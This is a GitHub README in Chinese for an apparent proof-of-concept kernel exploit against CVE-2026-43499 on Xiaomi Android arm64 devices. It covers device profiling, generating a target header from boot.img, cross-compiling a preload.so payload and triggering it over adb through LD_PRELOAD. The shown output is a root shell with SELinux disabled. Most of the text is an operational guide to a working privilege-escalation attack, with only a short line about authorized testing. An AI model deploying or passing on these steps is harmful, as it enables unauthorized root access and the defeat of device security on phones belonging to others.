Linuxoid-cn/CVE-2026-43499-Poc-Analysis

GitHub: Linuxoid-cn/CVE-2026-43499-Poc-Analysis

针对小米 Android arm64 设备的 CVE-2026-43499 内核漏洞提供漏洞分析与 PoC 利用代码,支持多机型自动适配与交叉编译。

Stars: 4 | Forks: 3

# CVE-2026-43499 适用于 Android arm64 内核 ## [English](README_EN.md) ## 支持范围 当前适配方向: ``` Android arm64 / arm64-v8a Android boot image header v3/v4 4K page kernel 可解析 IKCONFIG 可解析 kallsyms 可解析 vmlinux BTF 可通过 llvm-objdump 反汇编关键路径 ``` 已加入的兼容方向包括: ``` Linux 6.6+ 常见 kallsyms 数据符号缺失场景 CONFIG_KALLSYMS_ALL=n 场景下的部分结构扫描 不同 kallsyms 起始符号布局 Windows/MSYS2 构建环境 Android NDK windows-x86_64 工具链 ``` 不建议写死为“无条件支持所有内核”。更准确的描述是: ``` 面向多 Android arm64 内核的通用适配,实际支持以 generate_target.py 校验通过为准。 ``` ## Profile Profile 只包含两个需要从同固件 Root 设备确认的物理地址: ``` { "p0_phys_offset": "0x80000000", "p0_kernel_phys_load": "0xc7800000" } ``` 连接已 Root 的同固件设备后可检测: ``` python3 detect_offset.py ``` Windows 环境也可以使用: ``` python detect_offset.py ``` 生成后保存为对应机型或固件的 profile 文件,例如: ``` profile_device.json profile_popsicle.json profile_xxx.json ``` ## 生成 target 依赖: ``` Python 3 llvm-objdump boot.img profile_xxx.json ``` 基本命令: ``` python3 generate_target.py \ --boot boot.img \ --profile profile_机型.json \ -o source/src/target.h ``` Windows / MSYS2 环境中也可以使用: ``` python generate_target.py \ --boot boot.img \ --profile profile_机型.json \ -o source/src/target.h ``` 如果 `llvm-objdump` 没有加入 PATH,可以手动指定: ``` python generate_target.py \ --boot boot.img \ --profile profile_机型.json \ -o source/src/target.h \ --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe" ``` 生成成功时可见类似输出: ``` 生成成功: .../source/src/target.h kernel SHA-256: ... target macros: ... ``` ## 编译 Linux / macOS / MSYS2 环境: ``` make -C source clean preload ``` NDK 无法自动发现时: ``` NDK_ROOT=/path/to/android-ndk make -C source clean preload ``` Windows + MSYS2 + Android NDK 示例: ``` export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29 make -C source clean preload NDK_PREBUILT=windows-x86_64 ``` 最终产物: ``` source/build/bin/preload.so ``` Windows 路径示例: ``` C:\Users\Kernix\Desktop\CVE-2026-43499-popsicle-main\source\build\bin\preload.so ``` ## 运行 将编译得到的 `preload.so` 推送到设备: ``` adb push source/build/bin/preload.so /data/local/tmp/preload.so adb shell 'chmod 0644 /data/local/tmp/preload.so' ``` 通过 `LD_PRELOAD` 触发: ``` adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true' ``` 验证: ``` adb shell '/data/local/tmp/su -c id' ``` 成功时可见类似输出: ``` uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0 ``` 或: ``` direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0 ``` ## 适配流程 针对新设备或新内核,推荐按以下顺序适配: 1. 提取同固件 `boot.img` 2. 在同固件 Root 设备上确认 profile 物理地址 3. 生成 `source/src/target.h` 4. 编译 `source/build/bin/preload.so` 5. 在测试设备上验证运行结果 6. 若失败,根据 `generate_target.py` 的校验错误调整适配逻辑 ## 常见问题 ### 1. 找不到 llvm-objdump 错误示例: ``` 找不到 llvm-objdump ``` 解决: ``` python generate_target.py \ --boot boot.img \ --profile profile_机型.json \ -o source/src/target.h \ --llvm-objdump "/path/to/llvm-objdump" ``` ### 2. 找不到 make 错误示例: ``` make: command not found ``` Windows 推荐使用 MSYS2 UCRT64: ``` pacman -S make coreutils ``` ### 3. 找不到 clang 错误示例: ``` make: clang: No such file or directory ``` 通常是 Android NDK 没有正确配置。 Windows + MSYS2 示例: ``` export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29 make -C source clean preload NDK_PREBUILT=windows-x86_64 ``` ### 4. MSYS2 路径问题 Windows 路径: ``` C:\Bin\android-ndk-r29 ``` MSYS2 路径: ``` /c/Bin/android-ndk-r29 ``` 构建时建议使用 MSYS2 风格路径。 ### 5. target.h 生成失败 如果 `generate_target.py` 失败,通常说明当前内核与已支持的自动解析逻辑不完全匹配。 需要重点检查: ``` boot.img 是否完整 boot header 是否为 v3/v4 IKCONFIG 是否存在 kallsyms 是否可恢复 BTF 是否存在且可解析 关键符号是否存在 llvm-objdump 是否能正确反汇编 arm64 代码 ``` ## Windows / MSYS2 快速流程 ``` cd /c/Users/Kernix/Desktop/CVE-2026-43499-popsicle-main export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29 python generate_target.py --boot boot.img --profile profile_机型.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe" make -C source clean preload NDK_PREBUILT=windows-x86_64 ls -lh source/build/bin/preload.so ``` ## 注意事项 - 本项目需要针对目标 `boot.img` 生成专用 `target.h`。 - 更换设备、固件、内核或 profile 后,需要重新生成 `target.h` 并重新编译。 - 通用适配不等于所有内核无条件可用,实际支持以生成器校验和设备测试结果为准。 - 请仅在授权设备和授权环境中进行安全研究与验证。
标签:Android, DSL, PoC, Web报告查看器, 云资产清单, 内核漏洞, 暴力破解, 逆向工具, 逆向工程